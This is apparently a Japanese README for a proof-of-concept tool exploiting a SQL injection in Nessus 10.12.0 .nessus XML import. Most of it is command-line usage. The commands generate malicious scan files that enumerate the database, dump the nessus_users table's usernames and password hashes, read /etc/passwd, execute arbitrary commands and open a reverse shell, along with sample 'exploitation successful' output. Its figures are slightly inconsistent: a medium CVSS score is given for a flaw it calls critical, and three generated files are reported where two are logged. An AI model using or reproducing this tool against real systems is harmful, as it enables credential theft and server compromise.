
CVE-2026-57588のPoC - Nessus 10.12.0のXMLインポートにおけるSQLインジェクション。データベースの列挙、認証情報の窃取、時間ベースのブラインドインジェクションのテストを行う悪意のある.nessusファイルを生成します。許可されたセキュリティ研究を対象としています。作者: Sudeepa Wanigarathna。10.12.1でパッチ適用済み。
CVE-2026-57588 は、Tenable Nessus バージョン 10.12.0 以前 で発見された重大なSQLインジェクション脆弱性です。この脆弱性は .nessus スキャン結果ファイルをインポートする際のXML解析メカニズムに存在し、インポート権限を持つ認証済みユーザーがバックエンドのPostgreSQLデータベースに対して任意のSQLクエリを実行できるようになります。
| 項目 | 値 |
|---|---|
| CVE ID | CVE-2026-57588 |
| 脆弱性の種類 | SQLインジェクション |
| 影響を受ける製品 | Tenable Nessus 10.12.0 以前 |
| 修正バージョン | Nessus 10.12.1 以降 |
| CVSSスコア | 4.3(中) |
| 攻撃元区分 | ネットワーク |
| 攻撃の複雑性 | 低 |
| 必要な特権レベル | 認証済み(インポート権限) |
| ユーザー操作 | 必要(ソーシャルエンジニアリング) |
| 影響 | データ窃取、RCE |
この脆弱性は、インポート処理中にXMLタグ値がSQLクエリに組み込まれる前に十分なサニタイズが行われないために発生します。悪意のある攻撃者は、以下のようなXMLタグに特別に細工されたSQLインジェクションペイロードを含む .nessus ファイルを作成できます:
hostnamefqdnossystem-typemac-addressnetbios-name権限を持つユーザーが悪意のあるファイルをインポートすると、サニタイズされていない値がPostgreSQLバックエンドに対して実行され、以下が可能になります:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Build the Docker image
docker build -t nessus-exploit .
# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
# Install as a package
pip install -e .
# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum
# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Show general help
python3 exploit.py --help
# Show generate command help
python3 exploit.py generate --help
# List all available payloads
python3 exploit.py list
python3 exploit.py generate -u https://test.com -p enum
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
# Execute basic commands
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# Execute complex commands
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
# Read system files
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# Read application logs
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
# 5-second delay
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 30-second delay for heavy tests
python3 exploit.py generate -u https://test.com -p sleep -s 30
# HTTP proxy
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# HTTPS proxy with authentication
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
# Run with 8 parallel jobs
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# With custom timeout and retries
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
# Verbose mode (detailed output)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# Quiet mode (minimal output)
python3 exploit.py generate -u https://test.com -p advanced -q
| ペイロード | 説明 | パラメータ |
|---|---|---|
fingerprint | データベースのフィンガープリンティング | なし |
| ペイロード | 説明 | パラメータ |
|---|---|---|
schema_dump | データベーススキーマのダンプ | なし |
data_exfil | テーブルデータの抽出 | table、columns |
| ペイロード | 説明 | パラメータ |
|---|---|---|
time_based | 時間ベースブラインドインジェクション | delay |
boolean_blind | ブールベースブラインド | condition、delay |